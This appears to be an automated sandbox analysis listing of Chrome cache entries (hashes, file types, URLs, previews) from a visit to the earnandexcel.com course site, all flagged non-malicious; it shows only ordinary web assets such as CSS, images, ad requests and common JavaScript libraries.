SHA-512:	8B2E7CA555B361BCCBF67FE15ACF6ADAB175D8548E6C6D2A9597D362AE1B74169EC2A61EB903000F886E70DF4D4368568D7B3832E431024760F6671CC23863F5
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1124682932546478&correlator=2153398468101610&eid=31081517%2C31082737%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202404080101&ptt=17&impl=fifs&us_privacy=1---&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=1030006%3A22952122961%2Cearnandexcel%2Cadhesion&enc_prev_ius=%2F0%2F1%2F2&prev_iu_szs=728x90%7C970x90%7C468x60%7C320x100&ifi=1&sfv=1-0-40&fsbs=1&eri=1&sc=1&cookie=ID%3D8a0ee16c5b8d85bd%3AT%3D1712870830%3ART%3D1712870830%3AS%3DALNI_MaRxhIIaXODoguqoDjrbR4iu0e74A&gpic=UID%3D00000ddd464f271e%3AT%3D1712870830%3ART%3D1712870830%3AS%3DALNI_MYajHX718Orf8IwXazuxH_rVtlHnw&abxe=1&dt=1712870857875&lmt=1712870857&adxs=-12245933&adys=-12245933&biw=1263&bih=907&scr_x=0&scr_y=393&btvi=-1&ucis=1&oid=2&u_his=3&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=120&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xNDkiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTQ5Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xNDkiXV0sMF0.&url=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&ref=https%3A%2F%2Fearnandexcel.com%2F&vis=1&psz=728x-1&msz=0x-1&fws=640&ohw=0&ga_vid=668614997.1712870801&ga_sid=1712870858&ga_hid=1654992589&ga_fc=true&td=1&topics=3&tps=3&htps=10&a3p=EhkKCnVpZGFwaS5jb20YrIu6-OwxSABSAghkEj8KCmFtYXpvbi5jb20SKDdib0RSZ2lKRkR5QWIwem5JUEo5NlA2b3VTZGFEY2pDeU9nS3BBPT0Ykru6-OwxSAASwgEKCHJ0YmhvdXNlEqwBTmZqSFA2ZXFuU1dsY295THFLL0ZIcGRvdUMzYjYwUjZmR1lYRzNFSXM1Y1BQTWc3REtIU2h1dGtEcjRYWmJQeDducHNUV293TDZNYU5IY3dWdWliRHhEV1IrUU9CdG1HL2UzM1ZHQ0VHd3Q5UzVvRXlkQ1gxMGtIcUFvbFlObGFGcDVIQXlhWStWRm5CYkRmT01kUVJZZWJBTTcvcUNYWmkzbDBPbk5qTDBRPRj-trr47DFIABLWAQoOZXNwLmNyaXRlby5jb20SugE3b2RQYVY5T01UVTNXRzFOYWs1WGVISkNTMVEwZWpsTFdWRjJObTVYWnpreFNqQXdSSFJRY3prd1VVRkljMll4WjBGcGNETklkM05PYlZaaWJVUm9ZbXBKVlhJNVVHdHNOVlJSWlc4MFVDVXlSa3BpUlNVeVJrTnJjRk5TYkRRMFkxUk9la3A0UXpsU1NHczFRMGxTT1doTmR6RllVMDltUVcweVkxQWxNa0pMUkZSa2NuQnNNMDlUV2cYgay6-OwxSAASPgoFb3BlbngSLGV5SnBJam9pVW5Wc1VFOXlLMU5VWVVkblEwaGlOSFkxYmt4R1VUMDlJbjA9GM7LuvjsMUgA&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1712870850157&idt=4687&ppid=eff4865419574f0d5e447146bd7242ddd5fbec59aed5c8e38b3fd6d36a2613c1&prev_scp=hb_bidder%3Dgumgum_s2s%26hb_adid%3D221f5b5b1dcbbe%26hb_pb%3D0.49%26hb_sdef_set%3D0.978628354491%26hb_bid%3D0.49%26hb_bsbid%3D0.4869136180371%26hb_safeframe%3D0%26hb_s2sBidder%3Dgumgum%26hb_liv%3D4%26hb_ub%3D0.49%26hb_size%3D728x90%26hb_pb_gumgum_s2s%3D0.48%26sales_cat%3D132%252C596%252C597%252C611%252C602%252C600%252C599%252C626%252C619%26sales_safety%3DGGT0%26sales_kw%3Dexcel%252Conline%2520data%2520analysis%252Cbi%2520courses%252Cearn%252Conline%2520datum%2520analysis%2520course%252Cpython%252Cdatum%2520analyst%252Csql%252Cbusiness%252Cdatum%2520analytic%2520training%252Cdatum%2520mining%252Cfield%252Cmicrosoft%252Cmit%252Cmodel%2520application%26sales_segment%3DGumGum%2520Verity%2520Seasonal%2520-%2520Fathers%2520Day%252CGumGum%2520Verity%2520Seasonal%2520Segment%2520-%2520Back%2520to%252CGumGum%2520Verity%2520Seasonal%2520-%2520Mothers%2520Day%26partnerLift%3DcentroE1M0%2CebOff%26slot_id%3Dadhesion_desktop%26hb_count%3D1%26hb_pmp%3D0%26UR%3D49%26URP%3D138%26OE%3D0%26google%3D1%26native%3D1%26slot_number%3D1%26slot%3Dadhesion_desktop%26arrival%3D0%26refresh%3D0%26sspm%3D1%26bidFloor%3D0.23%26ccpa%3D1---%26psa%3D6%2C12%2C3%26timeout%3Dadhesion_atf_d_2801%26gid%3D0%26inview%3D0%26adomain%3Dmax.com%26grow_state%3D4%26grow_version%3D7.239.1%26dsp_id%3D56%263pc%3D1%26illr%3D0%26gpp%3D0-0-0%26pps%3D687%26pair_id%3D0%26deprecationLabel%3Dna&cust_params=page_url%3Dhttps%253A%252F%252Fearnandexcel.com%252Fcourse-category%252Fdata-analysis-bi%252F%26site%3Dearn-and-excel%26path%3D%252Fcourse-category%252Fdata-analysis-bi%252F%26secure%3D1%26sessiondepth%3D3%26optout%3D%26categories%3Dhobbies-and-interests%26generator%3Dweb%26bucket%3D2%26referrer_url%3DDIRECT%26utm_source%3D%26utm_campaign%3D%26dow%3D4%26day%3D11%26month%3D4%26hour%3D21%26wrapper_group%3D3.1.3%26wswy%3D0%26sessionId%3D668614997%26page_view_id%3D160x0z0l040k0a1c131p14190y071718%26groupm%3D1%26browser%3DChrome%26os%3DWindows%26lang%3Den-US%26s2sVersion%3Dproduction&adks=1212450974&frm=20&eo_id_str=ID%3D8ff43e4a956f97e9%3AT%3D1712870830%3ART%3D1712870830%3AS%3DAA-Afjb7kQWA50nHz8zp6GRRTp6o
Preview:	{"/1030006/earnandexcel/adhesion":["html",0,null,null,1,100,970,0,1,null,null,null,1,null,[107205376836],[172149396],[29955756],[299148516],[98686],null,null,null,null,null,null,1,null,null,null,null,null,null,null,"CMDw_ZiNu4UDFUzwlAkdI74E6A",null,null,null,null,null,null,null,null,["022404020207000"],null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html amp4ads class=i-amphtml-inabox i-amphtml-layout i-amphtml-no-boilerplate lang=en><head><meta charset=utf-8><meta content="width=device-width,minimum-scale=1,initial-scale=1" name=viewport><style amp-runtime i-amphtml-version=022404020207000>html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!important;width:100%!important}html:not([amp4ads]),html:not([amp4ads]) body{height:auto!important}html:not([amp4ads]) body{margin:0!important}body{-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;text-size-adju

Chrome Cache Entry: 963

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19082)
Category:	downloaded
Size (bytes):	19128
Entropy (8bit):	4.5664248896753055
Encrypted:	false
SSDEEP:	192:rF8XHGK+JRxSe6OSfNVsXZLUCpZETvebAmR+srfSbqkbQC4u/DUBMQh:CmK+JRQcx5ZETGNREmk4uA
MD5:	50BE31853049E4B4A10C277D5F95EB75
SHA1:	AC2DFFC0C65AD6B209FEDF2169D0C50EB4119A3E
SHA-256:	B651D87EF113CBA0C8EC8A33BFDB694171EFFEBA56B20BE12E3C77FC15F6AE9F
SHA-512:	D4E784C23393F5DEC68871A57EBE42BB7B44112010774602B4A4F97BAAE37C6A40D405F71A624183F2597136141B79E9AC902C4835D34BF09A122978F71F8D4E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css
Preview:	/! elementor-icons - v5.15.0 - 30-01-2022 /.@font-face{font-family:eicons;src:url(../fonts/eicons.eot?5.15.0);src:url(../fonts/eicons.eot?5.15.0#iefix) format("embedded-opentype"),url(../fonts/eicons.woff2?5.15.0) format("woff2"),url(../fonts/eicons.woff?5.15.0) format("woff"),url(../fonts/eicons.ttf?5.15.0) format("truetype"),url(../fonts/eicons.svg?5.15.0#eicon) format("svg");font-weight:400;font-style:normal}[class*=" eicon-"],[class^=eicon]{display:inline-block;font-family:eicons;font-size:inherit;font-weight:400;font-style:normal;font-variant:normal;line-height:1;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@keyframes a{0%{transform:rotate(0deg)}to{transform:rotate(359deg)}}.eicon-animation-spin{animation:a 2s infinite linear}.eicon-editor-link:before{content:'\e800'}.eicon-editor-unlink:before{content:'\e801'}.eicon-editor-external-link:before{content:'\e802'}.eicon-editor-close:before{content:'\e803'}.eicon-editor-list-ol:before{cont

Chrome Cache Entry: 964

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 480 x 260, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	37857
Entropy (8bit):	7.983671873685436
Encrypted:	false
SSDEEP:	768:4GegV0377Sy5LVWJm5uYRD+yOy9aOB+l5xsN7b3LJ582ZSBWRPL:4Gey0Xp/WnM+yV9LBUsRSMRPL
MD5:	DF96E9F7527F0303EAF69D0432C5CCB6
SHA1:	659C2601D878CE2203B12D689B38C978FAAC74C0
SHA-256:	41E602C5C74E603D040E6164151EFBCABDB380B56B0F0B9E9737CDEB20376512
SHA-512:	D986FB1BEA9D8798A7600E0D20EAB412746E85A266FEAF2A57B3A305D170D7C4C32E474645116919463136B045B17534762EA86130F13C7948BEFF28CD29D21C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/How-to-Find-the-P-Value-in-Excel-480x260.png
Preview:	.PNG........IHDR.....................IDATx..wx]W...Sno.].$[r.=....^.I..K..e``f.`h..e..w....^.'...".Y.z.W....q.k..;q...<7O.{.>..S~{...Z..-...F......7..%..wzD.......%.@0Z.M.G...C........r,@....B........7..C7.>u.xlN.)o..(H.t.d..,..4E.k.:..8..u@..B........w..'..........N.A(...>....vF.N$.D.Q.v....&...v...-B..H.?Q.!.B..........q..\|...u..>j.Y.._r...l.Lnw<.i...tZ.9..}>.999.tl..g....Y.Ekk...$........`.."..?ny.K...M....0")..Yk_..3......,...y_E.U..G%......a].....+....HPt...@ .X0&...?n\|.o.....!.!.l...No_/....b1q3.. ...1ALO.7..a....!&.NG.-."..!I.....kY.I.5M.M.e.UU.m.V.=.....pf......{w..F.6y.3g.\|K...<`1.......6..9.D............,.3D.8?y.qb..,.L..OF1..N"C.SW....n..,..I....l..t.J.....s.............E,.....I....... I....i.6.m.0.i......A.....\|.M.4...e.-deeQ^ZNzz.)..x.Wm.. h:H.8.0e.........5..^V...AG.t.@.._.3....[....._....7....0i...`K=,^..`-..vA...O...L.....:.lP6.*.A.I=k...u.....@y6..C...)..i.+..-.4;`B.!.].q.l..<....q.v.fB.$.<.lJr.z.....^.4.5....R..xr..0q....U.

Chrome Cache Entry: 965

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 39 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1489
Entropy (8bit):	7.8294577443886295
Encrypted:	false
SSDEEP:	24:eyM7j9HslGNATLymZH9+M6pXG16+3TtDgG+mfgL4ewM6CZLwO:ellqGSPymB9+M6pXJ+xkGF5eaO
MD5:	89B986193FF7EFAA4C8BF5B5C19F4E9A
SHA1:	B499D1C801644420D9AEF74409CE2A3A1AA53CAC
SHA-256:	5E7DC9F58A36AE689A2B83F07E43E857208CB461AE2B4B21644A3A3CC3D502B4
SHA-512:	69E51F45060C267178C8272EAB51ED1D5F02ED2303B1D30C4AF0782B44BBC3EB0D014925E8F111CF224CD65C03DAF1DC2D347217DDAE1377CF3483AEB5EA1643
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/counter-media-02.png
Preview:	.PNG........IHDR...'...0......pc.....IDATx...o.U..}..H0.tw..Z..`..h.B0j..iwwvg..o .ZZZ.@I..."..[......`1$"E.......`4$......e.J.c;3..'........{.<n......v.4....=.A...\|..[.e...v.......E...S;..9....q(f@..9......'.%AGwr9.T.xL.X.8...s.7..(..x.......F .1PD.9%Q.O;..ci5@A..^f....t.d,.=.pZ.;.b/.}J..<6....>.p.%.aFb.f.K0..G........2b...'.....^;...8.^.7 .1.!.....<&8.w~....x.&....U...d..........z..C..}{.u.X......Kp\.=.......z.Rb...s......5#.....e.....R.p.5.I^..7w.^%.T...\~.Y..(.....G.,2..3..$.Kx......M`.f.m.....u...Q>.'.....-.6.&e...b....X.Y....+.&.x.\..`.F.....ZL....../....s~.d.k,...,_..H.8O.Kb...`YY.<..&..LK%{t4...2..:..f....,....c..2uE........!$.....R..EN#..vA...W.~-....%k.......tU..[.\|......e..?,..B...>`.qY(..r..w..k...I...VZ.<...P...)-L.h..:.....G..D...R..V....^`i...r...(8...p....Z....\|.-Tn.p..R.m..`.b..=...B.%..n.......r^Yu.:....J5.......=..b!.}%.1?.r...+.....+.<~.N..,..^....C........R.5...0..j.......@.._..@.b.>l.tf.._.=1".m..x.x.. x.c..m=..*

Chrome Cache Entry: 966

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4129), with no line terminators
Category:	downloaded
Size (bytes):	4129
Entropy (8bit):	5.013246184837655
Encrypted:	false
SSDEEP:	96:5qtA0Vd8x8xcfOLNWc1eN/GXDFqQUbUWv7RIL:5g5IeEY1GsJbUbUWv72
MD5:	4C927B02EC9BC57017EAB8D7B6DCD2A0
SHA1:	25F442A5B700F6B8D7F11A1DF2F125E85E9236AF
SHA-256:	D8CD42778A4A221B675737A295CB352CFE7CC874F6113E84DAD416485ECC246E
SHA-512:	DCC83EDA7BD865A56C3192B64736CD0215A7849BF0C1004DA4E557ED6A05CCFB88325CE3EC1F261C831A6BC079942FF2AD71F520448B4E3D6D25053BA5D13147
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js
Preview:	!function(u){var t;function l(){}function f(e){!t&&window&&window.console&&(t=!0,console.log("Deprecated TinyMCE API call: "+e))}function i(i,a,d,s){i=i\|\|this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if("string"==typeof d&&(d=d.split(" ")),d&&"function"!=typeof d)for(var n=0;n<d.length;n++)t.push(e[d[n]]);("function"!=typeof d\|\|(t=d(a,e,i)))&&(d\|\|(t=[e]),t.unshift(s\|\|i),!1===o.apply(r\|\|s\|\|i,t)&&e.stopImmediatePropagation())}f("<target>.on"+a+".add(..)"),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(" "),function(e){s["on"+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&&!n\|\|t.selection=

Chrome Cache Entry: 967

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65493)
Category:	downloaded
Size (bytes):	210882
Entropy (8bit):	4.725067209881503
Encrypted:	false
SSDEEP:	1536:TYMp3bC2HuQYqUlwpR0/srS8rwkJkmkukxkOkNkekvkF:4zqRIsrSe5
MD5:	9943E6B1B94F179C4137136554C4D4DE
SHA1:	E3406D7926727D7E9BA894A6DB838C896F70F226
SHA-256:	68E46D074D88C5B45F552E28C2449F8361A2036B2767EA459F2C941AA6A43EBA
SHA-512:	B330577EB4C50C42520DFC2AC3134836F2833BB0390DFBB3FF05CCFF13B2D4A29CF2E4D548D48DA853F7709F118B504B8DBFBB41EC70E3318C2034D432FB6BFC
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor-pro/assets/css/frontend.min.css
Preview:	/! elementor-pro - v3.2.2 - 05-05-2021 /.@charset "UTF-8";.elementor-bg-transform .elementor-bg{will-change:transform}.elementor-bg-transform-zoom-in:hover .elementor-bg{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}.elementor-bg-transform-zoom-out .elementor-bg{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}.elementor-bg-transform-zoom-out:hover .elementor-bg{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.elementor-bg-transform-move-left .elementor-bg{-webkit-transform:scale(1.2) translateX(8%);-ms-transform:scale(1.2) translateX(8%);transform:scale(1.2) translateX(8%)}.elementor-bg-transform-move-left:hover .elementor-bg{-webkit-transform:scale(1.2) translateX(-8%);-ms-transform:scale(1.2) translateX(-8%);transform:scale(1.2) translateX(-8%)}.elementor-bg-transform-move-right .elementor-bg{-webkit-transform:scale(1.2) translateX(-8%);-ms-transform:scale(1.2) translateX(-8%);transform:scale(1.2) translat

Chrome Cache Entry: 968

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	582
Entropy (8bit):	4.589893553784942
Encrypted:	false
SSDEEP:	12:tr29rOX5Xo0iMnw8RauZkuNdO9ZDYRhdmJ:tUrOXJLnwBfuHOvYk
MD5:	B64D83C167C6728E0AA3254323F9CA83
SHA1:	6556B5500C1D73A36F17B63C5D953C4527DE8F6E
SHA-256:	198F5067B1BEF43C386D5B3F0AF5AF79AC6DDFB9C78A8283ED6036E02BA1CEFC
SHA-512:	7C8DD9B62A9FD1AAE2A5BB1330135FC3B15D81C54E86D0CBA3BBEC3D268923E7C0537E8CA743B6DE1831FC5FF7186B3E2F8B048015832B5C7317E81E7CED69AD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/svg/headline-curve.svg
Preview:	<svg width="91px" height="12px" viewBox="0 0 91 12" version="1.1" xmlns="http://www.w3.org/2000/svg">. <path fill="#FFC221" d="M0.980197061,9.09306521 C25.5681791,0.00152988657 55.1427929,-2.26697742 89.6953818,2.26269565 C90.5167807,2.37037698 91.0953632,3.12354536 90.9876819,3.9449443 C90.8800005,4.76634325 90.1268321,5.3449257 89.3054332,5.23724437 C55.2055398,0.76691744 26.1134869,2.99841013 2.02061792,11.9068748 C1.24360585,12.1941791 0.380806977,11.7971925 0.0935026912,11.0201804 C-0.193801595,10.2431684 0.203184997,9.3803695 0.980197061,9.09306521 Z"></path>.</svg>.

Chrome Cache Entry: 969

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	285599
Entropy (8bit):	5.572013666124033
Encrypted:	false
SSDEEP:	3072:FK4lghR+8bFtV8vWHsKC7XJw8jNGXmJxm3dVNzzYrWTrWKXkgYfR0u7RCRoa/3T:Y4yRp8+HsKS5KsSPNzzYrgrWK4fRzRCF
MD5:	934B95BD0820857EEA31F6F611A8F741
SHA1:	E5A00BD957D701B20FE0F7AB569DFCCB35BBA074
SHA-256:	994027AB3FB3EC2A47FF40F5CAFC30A8A5CE9E541C011460C9C5B91A4C38C8E8
SHA-512:	D347CEDD89D20EDEA982236174D0A128D99D55C819D07DEED264D2287A81D864CC4859350C077C54282C612EA50909CBFC73C0BBF7A818C22759DA9FFEF8FC9B
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-37L88V1J5W
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_email

Chrome Cache Entry: 970

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	24460
Entropy (8bit):	5.134592708560035
Encrypted:	false
SSDEEP:	384:ONd6yd3eShrQ5jnmqiXx2JfZmpK88Pds3q2uCOrqGlL8R5TwWkLfrohZ:Ud3bruTVfgpK88PdLlCOrrL8R5Tw7LY
MD5:	A2567F79A66B943E14EEA52FF1027AF0
SHA1:	D240F12E21E650C13890847F71537EFF4B88CF59
SHA-256:	946B94A8950F5C910C8105FF45168CEA66642BAA27A398B96C7B81304E2A382A
SHA-512:	4383E7428FBE6429231B11D9B4EA06B04A0CE770078A5C489F1B024D851567B047A02B2A6A36325966E29DDD0BD85D6FAA673AB063D59A90038AA6F6B1556F21
Malicious:	false
Reputation:	low
URL:	https://cdn.thinkific.com/assets/jquery-migrate/3.3.1/jquery-migrate.js
Preview:	/!. jQuery Migrate - v3.3.1 - 2020-06-25T01:07Z. * Copyright OpenJS Foundation and other contributors. */.( function( factory ) {.."use strict";...if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define( [ "jquery" ], function( jQuery ) {....return factory( jQuery, window );...} );..} else if ( typeof module === "object" && module.exports ) {....// Node/CommonJS...// eslint-disable-next-line no-undef...module.exports = factory( require( "jquery" ), window );..} else {....// Browser globals...factory( jQuery, window );..}.} )( function( jQuery, window ) {."use strict";..jQuery.migrateVersion = "3.3.1";..// Returns 0 if v1 == v2, -1 if v1 < v2, 1 if v1 > v2.function compareVersions( v1, v2 ) {..var i,...rVersionParts = /^(\d+)\.(\d+)\.(\d+)/,...v1p = rVersionParts.exec( v1 ) \|\| [ ],...v2p = rVersionParts.exec( v2 ) \|\| [ ];...for ( i = 1; i <= 3; i++ ) {...if ( +v1p[ i ] > +v2p[ i ] ) {....return 1;...}...if ( +v1p[ i ] < +v2p[ i ] ) {..

Chrome Cache Entry: 971

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (35821), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	253987
Entropy (8bit):	5.2595327416349145
Encrypted:	false
SSDEEP:	3072:G1G5c2lJq+CLJUV7Zl2xBvB+TP3/7Zl2xBvBAgXXTGQRquFZdvvP9TxuFikdyXxy:UkJ
MD5:	A2ACB30EF17F45ABE940A0796A65AF04
SHA1:	5500A520A8D92C8AD0ABD2CC0FE04561A302E595
SHA-256:	0D4A2E5DEAD62BB592ED46FE8773DEDD0274502084EA89BE3A9027FFAA58CA27
SHA-512:	7936972C7D19D6938BC7EBA80954641749DB87F04389E44F7B7CDAE3C3F7155BA437CD797A0BF6BCB604F59AA3753EC16A8230F1C5F71022A2C3050B02EF7B75
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/course-category/data-analysis-bi/?tutor-course-filter-category=16701
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 972

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (48587)
Category:	downloaded
Size (bytes):	779672
Entropy (8bit):	5.544012271195911
Encrypted:	false
SSDEEP:	6144:txVC/PRUKgQ9cVH/fB2ErprreDXtN0bqplHYzbq++Da2lk/ynMvokFRh9HyVV+oc:TkIQ9IBdtrqDXt1Eq+zM8juM
MD5:	38A1EB115080B12C25BAC346BD1F52F8
SHA1:	8F4341503C9DB1FCFBAB1E7DF8FC999400498DCB
SHA-256:	3156740C17B63808A2CD16C217F78FDB12162D8CC3A18BCA8D781ECD99FE3E89
SHA-512:	2CE3F3E577589BEB49D4EE96A4AF6A91D49A6A69A70662C56C09B0EE53B505FA4C3FA1DE5B8ED1116913324202E50E19F46A3B5C1C87ADC525C7380ACFCB5DEE
Malicious:	false
Reputation:	low
URL:	https://imasdk.googleapis.com/js/core/bridge3.633.0_en.html
Preview:	<!DOCTYPE html>.<html class="ima-sdk-frame">. <head>. <title></title>. <style type="text/css">.videoAdUiActionCta{position:absolute;bottom:30px;-webkit-box-sizing:border-box;box-sizing:border-box;padding:5px;max-width:75%}.uac-android-on-3p-instream.videoAdUiActionCta,.uac-ios-on-3p-instream.videoAdUiActionCta{background:linear-gradient(to top,rgba(0,0,0,0),rgba(0,0,0,.4) 100%);bottom:unset;max-width:100%;padding:12px;top:0;width:100%}.newProgressBarVariant .videoAdUiActionCta{bottom:46px}.videoAdUiActionCtaInset{font-family:arial,sans-serif;font-weight:500;font-size:16px;background:white;display:-webkit-box;display:-moz-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-ms-flex-direction:row;-webkit-flex-direction:row;flex-direction:row;-webkit-border-radius:8px;-moz-border-radius:8px;border-radius:8px;-webkit-box-shadow:0 1px 3px rgba(60,64,67,.5);-moz-box-shadow:0 1px 3px rgba(60,64,67,.5);box-shadow:0 1px 3px rgba(60,64,67,.5);overflow:hidden;height:50px;pointer-even

Chrome Cache Entry: 973

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25300), with CRLF line terminators
Category:	downloaded
Size (bytes):	25333
Entropy (8bit):	5.171102345796244
Encrypted:	false
SSDEEP:	384:ACnffouNtwIXhqsXmcRxo3kfZNUF/UF1xcjhUrAXo2G2nyvuJisJv4HRVgyoL3HH:AC4uNtwIYsVAXQ3oLVl
MD5:	18B01F81D7D40F8A342235859BA27F16
SHA1:	9BAA91E753E8F266D8E92DE2B01159FF4216A928
SHA-256:	B6387E0A99E73501CC7E541AD21F2375188905D6E81071EEFC222653D653C9FA
SHA-512:	216028C53B7A57290AE7EB55F28DE80B32230B6C590CBA41360CB1F84276DC6FA61FAD23F704ECE2061B72F35F35D2C2A81B9E49FF5698329E7D3D1EB8068374
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/perfect-scrollbar/js/perfect-scrollbar.jquery.min.js
Preview:	/* perfect-scrollbar v0.6.14 */..!function t(e,n,r){function o(i,s){if(!n[i]){if(!e[i]){var a="function"==typeof require&&require;if(!s&&a)return a(i,!0);if(l)return l(i,!0);var c=new Error("Cannot find module '"+i+"'");throw c.code="MODULE_NOT_FOUND",c}var u=n[i]={exports:{}};e[i][0].call(u.exports,function(t){var n=e[i][1][t];return o(n?n:t)},u,u.exports,t,e,n,r)}return n[i].exports}for(var l="function"==typeof require&&require,i=0;i<r.length;i++)o(r[i]);return o}({1:[function(t,e,n){"use strict";function r(t){t.fn.perfectScrollbar=function(t){return this.each(function(){if("object"==typeof t\|\|"undefined"==typeof t){var e=t;l.get(this)\|\|o.initialize(this,e)}else{var n=t;"update"===n?o.update(this):"destroy"===n&&o.destroy(this)}})}}var o=t("../main"),l=t("../plugin/instances");if("function"==typeof define&&define.amd)define(["jquery"],r);else{var i=window.jQuery?window.jQuery:window.$;"undefined"!=typeof i&&r(i)}e.exports=r},{"../main":7,"../plugin/instances":18}],2:[function(t,e,n){

Chrome Cache Entry: 974

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
